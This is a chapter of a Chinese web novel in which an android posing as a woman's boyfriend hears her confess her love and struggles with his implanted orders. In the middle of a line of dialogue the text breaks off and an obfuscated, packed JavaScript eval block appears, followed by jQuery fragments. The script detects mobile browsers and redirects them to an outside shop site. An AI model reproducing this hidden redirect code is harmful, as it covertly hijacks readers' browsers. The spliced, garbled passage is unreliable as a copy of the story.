30. 探索

作品:《机械故障[人外]

    车上的气氛有点奇怪,尚明雁蜷缩着睡在副驾,看上去像有心事。


    埃里安知道这个夜晚已经被他搞砸,至少原本可能发生的那些,今晚不会再有了。送她到家门口时,他以为她会沉默着道别,她却忽然伸手拉住了他。


    她什么也没说,只是有些执拗地将他带到沙发边,然后仰起脸,再一次吻了上来。


    即便是深入的吻,也带着她一贯的风格,辗转轻柔,吮吸的触感像是光泽柔软的丝绸。


    他从这吻中尝到一丝若有若无的探询,他彷徨坠入刚才的回忆:最后他回应她的吻时,似乎有些太不知轻重了。


    她先有些不满吗?但在不满什么?


    一吻结束,尚明雁与他双唇分开,气息微乱地望向他:“你没有什么想对我说的吗?”


    埃里安不明所以,喘息着低声问:“……什么?”


    尚明雁没有回答,只是深深看了他一眼,随即再度俯下身来。


    就这一眼,一种战栗感自埃里安心底深处升起,搭在她腰间的手指无措地根根蜷紧。


    他感受到了被她注视。


    不是普通的注视,那一眼里含着近乎神圣的、不可思议的温柔。


    她的目光落在他脸上,仿佛穿透了陈衍的外壳,触到了某种更本质的存在。


    倘若他拥有灵魂——那么此刻,尚明雁吻的正是他的灵魂。对一个仿生人来说,“灵魂”这个词既抽象又荒谬,可埃里安找不到更贴切的描述。这就是他分析得出的结论。


    这是一个几乎剥离了情欲的吻,如同伸出指尖,试探性地触碰一只长久蜷缩在暗处的生物,动作极尽轻柔,带着克制的小心。


    他起初回应得有些生涩,甚至感到错乱,仿若胃部有岩浆翻涌,灼烧着并不存在的神经。可随着她的抚摸,芯片里的电波渐渐平和下来,像春雨细密地落入寂静的湖面,只漾开一圈圈无声的涟漪。


    再次分开时,尚明雁静静注视着他的眼睛。


    她趴在他身上问:“刚刚在酒店房间,你为什么生气?”


    她的感知向来敏锐,极少出错。


    埃里安平时情绪总是很稳定,无论发生什么,他都像室内恒温般令人舒适。可今天,她十分确定,他明显有些阴晴不定,她想知道为什么。


    埃里安在她的腰侧的手摩挲了两下,尚明雁呼吸明显急促了两分,但她发现这是他为了分散她的注意力,或者是转移话题的手段之后,坚定的按住了他的手。


    她让他回答。


    埃里安说:“我没有生气。”


    他垂落眼眸并不直视她,语调又轻又柔,像是隔着一层真实的情绪哄着她那样的说:“我只是太高兴了,一时没有控制住我自己,毕竟你从前从来不允许我那样对待你。”


    “你害怕那样的我吗?”


    他说这话时抬起眼来。浓密睫毛下那双深邃的眼睛,还带着一吻结束后的水汽,忐忑无声地在其中铺开。


    尚明雁盯着他漂亮的双眼,看了两秒后说:“不怕。”


    原来是因为委屈啊。


    她不由得反省了一下自己,如今她对陈衍的态度,和过去相比差距太大。


    从前相处时总有些莫名的担忧与顾虑,但现在却已经泡沫一样消失了。


    尚明雁在他的颈窝找了个位置,就这样靠着,抓着他的手看。


    他的手生得极有艺术感,修长而分明。


    她画过不少双手,但是都没有感觉哪一双有面前的这么的漂亮。


    她像摆弄什么心爱东西,指尖轻轻划过他的指节、掌纹,又微微曲起他的手指,再一根根舒展开。动作很轻,带着某种近乎孩子气的专注与喜爱,就这样静静玩了好一会儿。


    她感觉到他低低笑了两声。


    手被他反握住,拉到唇边,“雁雁。”


    尚明雁看着他。


    他的唇色还染着亲吻后的艳丽,像湖面荡开的粼粼波光,让人有些晃神。


    “你对我,好像变了。”


    尚明雁眨了眨眼,指尖就着他举起手的力道,轻轻抚上他的脸颊。


    “因为我喜欢上你了呀。”


    埃里安眼睫猛地一颤,像一颗星星忽然从夜空坠落。


    他僵在那里,仿佛连呼吸都忘了。


    看他惊讶到忘了如何反应。尚明雁想着不如趁现在说清楚,免得他再纠结,于是她轻声开口:


    “我答应当你女朋友的那天,其实……我并没有准备好成为任何人的伴侣。你知道我的情况,光是和人正常相处,我都要拼尽全力,更不知道该如何扮演一个伴侣的角色。那时候答应你,更多是因为不知所措,所以我总带着顾虑和你相处。”


    她停顿片刻,声音渐渐软了下来:


    “可是不知道从哪一天起,我的感觉就变了。我开始在意你,你的一举一动都会牵动我的心。哪怕你不在身边,我也常常想起你,想起你的样子,猜你在做什么。”


    “这种感觉很奇妙,和我以往的任何感受都不一样。我想……这就是喜欢吧。我想从你的眼睛里看见我自己。”她声音轻缓,却带着笃定。


    她渴望在陈衍眼中映出真实的自己,也希望自己在他面前能够全然坦诚。


    “你呢?”她望进他眼底,声音轻柔而认真,“你愿意让我看见全部的你吗?”


    爱情是自己的事,也是两个人的事。若能得到回应,她希望这份感情里,双方都能平等地站立。


    埃里安第一次如此清晰地意识到他内在的空白与匮乏,居然如此赤裸而醒目。


    他近乎逃避地托起她的下巴,又一次吻上她的唇,试图用辗转的温度掩盖他心中的自卑的轰鸣。


    可同时他也听到了别的声音,陈衍植入的指令,在听到那句话的瞬间,仿佛也同步拉响了欢庆的礼炮。已经在提前庆祝卑劣者的成功,这意味着他从彻底从这场扮演中解脱,不远了。


    多好,尚明雁说喜欢他,皆大欢喜。


    但埃里安只感觉茫然。


    雁雁喜欢他。


    不,喜欢陈衍。


    但喜欢是什么感觉,雁雁?


    他不明白。


    他唯一明白一点,陈衍不值得。


    他配不上她的喜欢,她值得更好的。


    但他不能违背指令,起码现在不行,怎么办呢。这认知让他胸腔里烧起一片无声的暴躁,可吻她的动作却越发轻柔。


    欲望的确令人沉溺。尚明雁开心地迎上来,又一次缠紧他。


    敏锐的感觉有时候让她触摸到许多真相。可有时,感觉也会自以为是。


    就像现在,她仿佛主动蒙上了一层轻纱,以为埃里安正欣然接受这一切,以为他也在向她袒露自己。


    她用心去感受,用身体去感受,唇舌缠绵,紧密相贴,可她仍然不满足。


    “再让我看到更多的你吧,陈衍。”尚明雁在吻与吻的间隙里,呼出温热的吐息,对他轻声说。


    他明明听见她在唤“陈衍”这个名字,却奇异般地无法愤怒。


    从她专注的双眸中,他看见了自己的倒影。


    埃里安感到心中那片空洞的地方,正惊惶地摇晃。


    “可我很无聊。”他抬手遮住她的眼睛,“你看见我的话会失望的。”


    尚明雁轻轻拨开他的手,目光清澈而坚定:“不会的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871013|189952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。我会喜欢的。如果你不知道该怎么喜欢我……我也可以教你。”


    但喜欢真的能如此包容吗?


    即便她知道,这些浸满爱意的话是对着一台机械造物说的,她也能毫不在意吗?


    埃里安不懂心底那阵翻涌的、让他难受的感觉究竟是什么,只能又一次低头衔住她的唇,深深吻上去。


    他已经说不出话了,唯有这样无声的贴近,才能让他获得片刻的喘息。


    尚明雁仿佛为了践行已经喜欢上他这句话不是一句空话,她几乎不知疲惫的探索一切。


    夜晚就这样如流水,不知不觉的从掌心和弯曲的腿间流过,月亮被打碎,一切都混乱了。


    埃里安有时感觉她像是研究和摆弄新玩具,额头,耳垂,喉结,锁骨,胸膛,游移到一处,他都颤栗、轻喘,或微微绷紧,忐忑不安,极尽所能。


    但尚明雁却仿佛探索够了,停了下来。


    埃里安先是一怔,心像被一根极细的线陡然吊起,扯出瞬间的刺痛。随即,他意识到是什么让她停了下来,那根线才倏然松开,一股无形的压力从胸中悄然散去。


    是她的手环响了。


    不是失望,也不是满意,仅仅是被打断了。


    “雁雁,现在有空吗?想跟你说件事。”


    华妙松的声音从手环中传来,清晰而平静。


    尚明雁将滑落的肩带拉回肩上,又抿了抿微肿的唇,过了片刻,才低低应了一声。


    她眨了眨眼,目光有些不甘地从埃里安脸上掠过,最终渐渐恢复了清明。


    “什么事?”


    “是这样。”华妙松在那头开口,声音平稳如常,“最近新品一直无法上线,为了不让期待的客户失望,我们想再做些创新。我这边正好缺一位艺术顾问,大画家有空来挂个名吗?”


    她知道华妙松说的虽是艺术顾问,实则是想让她名正言顺进入集团,商议图纸之事。


    无论如何,华盛集团的安防与保密级别,总比家里更稳妥。


    尚明雁应道:“好啊。”


    “那就这么说定了,到时候可别嫌我烦你。”


    尚明雁轻笑:“你这些年烦我还少吗?初中那会儿,明明知道我见人容易紧张,还天天跟在我身后,甩都甩不掉。”


    华妙松在那边笑了两声:“你那时候也没说什么呀,怎么现在倒抱怨起来了?”


    她忽然意识到什么,又问:“你现在是一个人……还是和你那位小男朋友在一起?”


    尚明雁从鼻尖轻轻哼出一声,没答,又仿佛什么都答了。


    华妙松听懂了,语气里带上了几分调侃:“看来我这个通讯……打得真不是时候。”


    “正好,既然他也在,那你帮我问问——他那位朋友什么时候能来报到?我这边正缺人手。”


    埃里安接道:“明天。”


    “这么快?”


    “既然要破解芯片,当然是越快越好。”


    “行,算你上心。”华妙松确认完,又与尚明雁闲聊两句,便切断了通讯。


    尚明雁整理着裙摆,尽管它再也无法恢复最初的平整,她还是用手指轻轻抚过皱痕,随后将屏蔽器放到茶几上。


    “我今天下午……又去见了伊丽莎白。”


    “她把图纸放进了我的记忆里,但我现在还理解不了。能看到的部分很有限,只能想到什么,就试着画下什么。”


    埃里安的声音沉静下来:“既然图纸已经拿到,复刻出那个装置只是时间问题。别勉强自己,慢慢来。”


    尚明雁看着他的脸,抿了抿唇,对埃里安说说:“除了图纸,她还跟我说了一些别的。”